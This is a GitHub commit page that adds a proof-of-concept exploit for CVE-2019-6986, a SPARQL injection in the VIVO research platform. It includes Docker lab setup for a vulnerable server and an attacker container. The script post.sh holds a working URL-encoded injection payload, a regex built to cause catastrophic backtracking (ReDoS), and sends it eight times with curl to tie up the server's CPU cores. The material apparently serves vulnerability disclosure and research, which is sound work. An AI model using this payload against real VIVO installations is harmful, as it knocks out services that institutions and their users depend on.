Skip to content

Commit 2431308

Browse files
authored
Merge pull request #4 from kevinbackhouse/Vitro
Exploit PoC for SPARQL injection in VIVO
2 parents c408848 + 6fa2d46 commit 2431308

5 files changed

Lines changed: 204 additions & 0 deletions

File tree

Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
# SPARQL Injection in VIVO (CVE-2019-6986)
2+
3+
This directory contains a proof-of-concept exploit for a SPARQL injection vulnerability in [VIVO](https://duraspace.org/vivo/). This vulnerability has been assigned [CVE-2019-6986](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6986). The exploit targets [this line of code](https://github.com/vivo-project/Vitro/blob/6e717446b4a1b3da0fcf0130f3d0cfd1ce8b75ed/api/src/main/java/edu/cornell/mannlib/vitro/webapp/dao/jena/IndividualSDB.java#L155). It triggers a denial of service by generating a query containing a [ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).
4+
5+
## Network setup
6+
7+
Create a docker network bridge, to simulate a network with two separate computers.
8+
9+
```
10+
docker network create -d bridge --subnet 172.18.0.0/16 vivo-demo-network
11+
```
12+
13+
## Vivo server setup
14+
15+
Build the docker image:
16+
17+
```
18+
docker build vivo-server -t vivo-server --build-arg UID=`id -u`
19+
```
20+
21+
Start the container:
22+
23+
```
24+
docker run --rm --network vivo-demo-network --ip=172.18.0.10 -h vivo-server --publish 8000:8000 --publish 8080:8080 -i -t vivo-server
25+
```
26+
27+
Inside the container, start VIVO.
28+
29+
```
30+
sudo ./init_mysql.sh # password is: x
31+
/usr/local/tomcat/bin/catalina.sh start
32+
```
33+
34+
It seems to take Vivo at least 10 minutes to initialize itself. You can monitor its progress in this log file:
35+
36+
```
37+
/usr/local/tomcat/logs/vivo.all.log
38+
```
39+
40+
Vivo isn't ready until you see lines like this at the bottom of `vivo.all.log`:
41+
42+
```
43+
2019-01-17 22:19:31,004 INFO [IndexHistory] STARTUP, 1/17/19, 10:17 PM, []
44+
2019-01-17 22:19:31,008 INFO [FreemarkerSetup] Freemarker templating system initialized.
45+
2019-01-17 22:19:31,122 INFO [VClassGroupCache] VClassGroupCache added to context
46+
2019-01-17 22:19:31,123 INFO [VClassGroupCache] VClassGroupCache set to listen to events from IndexBuilder
47+
2019-01-17 22:19:31,126 INFO [StartupManager] Called 'contextInitialized' on all listeners.
48+
2019-01-17 22:19:31,330 INFO [JSessionStripFilter] Filtering: no jsessionids will be generated.
49+
```
50+
51+
At this point, you can check that Vivo is running by visiting [http://127.0.0.1:8080/vivo](http://127.0.0.1:8080/vivo) in your browser. (We exposed port 8080 on the docker container.) To login, the username is `vivo_root@mydomain.edu` and the password is `rootPassword`.
52+
53+
# Tomcat debugging
54+
55+
You can debug the application with Eclipse, even when it is running in docker. To do this you need to also bind port 8000 when you start docker. (This was already included in the instructions above.)
56+
57+
Inside docker, start tomcat like this:
58+
59+
```
60+
export JPDA_ADDRESS=0.0.0.0:8000
61+
export JPDA_TRANSPORT=dt_socket
62+
/usr/local/tomcat/bin/catalina.sh jpda start
63+
```
64+
65+
Next you need to get the VIVO source code on your main machine and build it. The purpose of this is primarily to get maven to download all the dependencies so that Eclipse can see them.
66+
67+
```
68+
git clone https://github.com/vivo-project/VIVO.git
69+
git clone https://github.com/vivo-project/Vitro.git
70+
cd VIVO/
71+
mvn package -DskipTests
72+
mvn eclipse:eclipse
73+
```
74+
75+
Then import the VIVO and Vitro projects into Eclipse. Inside Eclipse, create a remote debug configuration, connecting to localhost:8000 (which is the default.)
76+
77+
## Attacker setup
78+
79+
Build the docker image:
80+
81+
```
82+
docker build vivo-attacker -t vivo-attacker
83+
```
84+
85+
Start the container:
86+
87+
```
88+
docker run --rm --network vivo-demo-network --ip=172.18.0.11 -h vivo-attacker -i -t vivo-attacker
89+
```
90+
91+
Inside the container, use `post.sh` to send 8 malicious request to VIVO.
92+
93+
```
94+
./post.sh
95+
```
96+
97+
The `curl` command inside `post.sh` never receives a response from the VIVO server, so you will see 8 timeout error messages on the command line:
98+
99+
```
100+
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received
101+
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received
102+
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received
103+
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received
104+
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received
105+
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received
106+
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received
107+
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received
108+
```
109+
110+
VIVO is now hogging 8 CPU cores.
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y curl tmux emacs net-tools ssh sudo
5+
6+
# Create user account for the attacker.
7+
RUN adduser attacker --disabled-password
8+
9+
# Copy the exploit PoC into the attacker's home directory.
10+
COPY post.sh /home/attacker/post.sh
11+
RUN chown attacker:attacker /home/attacker/post.sh
12+
13+
# Switch over to the 'attacker' user, since root access is no longer required
14+
USER attacker
15+
WORKDIR /home/attacker
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/bin/bash
2+
for i in {1..8}
3+
do
4+
curl -m 1 http://172.18.0.10:8080/vivo/individual?uri=http%3A%2F%2Fvivoweb.org%2Fontology%2Fcore%23FacultyMember%3E%20%3Fp%20%3Fo%20.%20FILTER%20regex%28%22aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%21%22%2C%20%22%28.%2Aa%29%7B50%7D%22%29%20%7D%20%23%20
5+
done
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
maven git curl wget zip unzip mysql-server \
6+
tmux sudo emacs maven openssh-server net-tools x11-apps \
7+
default-jdk openjdk-11-dbg
8+
9+
# Workaround for https://serverfault.com/questions/870568
10+
# VOLUME /var/lib/mysql
11+
12+
ARG UID=1000
13+
14+
# Create a non-root user account to run Struts.
15+
RUN adduser vivo --disabled-password --uid $UID
16+
17+
# Grant the 'vivo' user sudo access, so that we can start sshd.
18+
RUN adduser vivo sudo
19+
RUN echo "vivo:x" | chpasswd
20+
21+
# Get Tomcat.
22+
RUN cd /tmp && \
23+
wget http://www-eu.apache.org/dist/tomcat/tomcat-9/v9.0.14/bin/apache-tomcat-9.0.14.tar.gz && \
24+
tar xf apache-tomcat-9.0.14.tar.gz && \
25+
mv apache-tomcat-9.0.14 /usr/local/tomcat && \
26+
rm apache-tomcat-9.0.14.tar.gz
27+
28+
COPY init_mysql.sh /home/vivo/init_mysql.sh
29+
RUN chown vivo:vivo /home/vivo/init_mysql.sh
30+
31+
RUN mkdir -p /usr/local/vivo/home
32+
RUN chown -R vivo:vivo /usr/local/tomcat
33+
RUN chown -R vivo:vivo /usr/local/vivo
34+
35+
# Switch over to the 'vivo' user, since root access is no longer required
36+
USER vivo
37+
WORKDIR /home/vivo
38+
39+
# Create an ssh authorized keys file. Systems administrators would add their
40+
# public key to this file so that they can login remotely with ssh.
41+
RUN mkdir -m 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys
42+
43+
# Get Vivo source code.
44+
RUN git clone https://github.com/vivo-project/Vitro.git Vitro
45+
RUN cd Vitro && git checkout 6e717446b4a1b3da0fcf0130f3d0cfd1ce8b75ed
46+
RUN git clone https://github.com/vivo-project/VIVO.git VIVO
47+
RUN cd VIVO && git checkout 3da53e27fe1020ffd3157d288f6fe39ec15f87b2
48+
49+
# Build Vivo.
50+
RUN cd VIVO && mvn install -s installer/example-settings.xml
51+
52+
RUN cd /usr/local/vivo/home/config && \
53+
cp example.runtime.properties runtime.properties && \
54+
cp example.applicationSetup.n3 applicationSetup.n3
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#!/bin/bash
2+
3+
if [[ $EUID -ne 0 ]]; then
4+
echo "This script must be run as root"
5+
exit 1
6+
fi
7+
8+
# Workaround for this issue: https://serverfault.com/questions/870568
9+
chown -R mysql:mysql /var/lib/mysql
10+
11+
service mysql start
12+
13+
Commands=$(cat <<EOF
14+
CREATE DATABASE vitrodb CHARACTER SET utf8;
15+
CREATE USER 'vitrodbUsername'@'localhost' IDENTIFIED BY 'vitrodbPassword';
16+
GRANT ALL PRIVILEGES ON vitrodb.* TO 'vitrodbUsername'@'localhost';
17+
EOF
18+
)
19+
20+
echo "$Commands" | mysql -p

0 commit comments

Comments
 (0)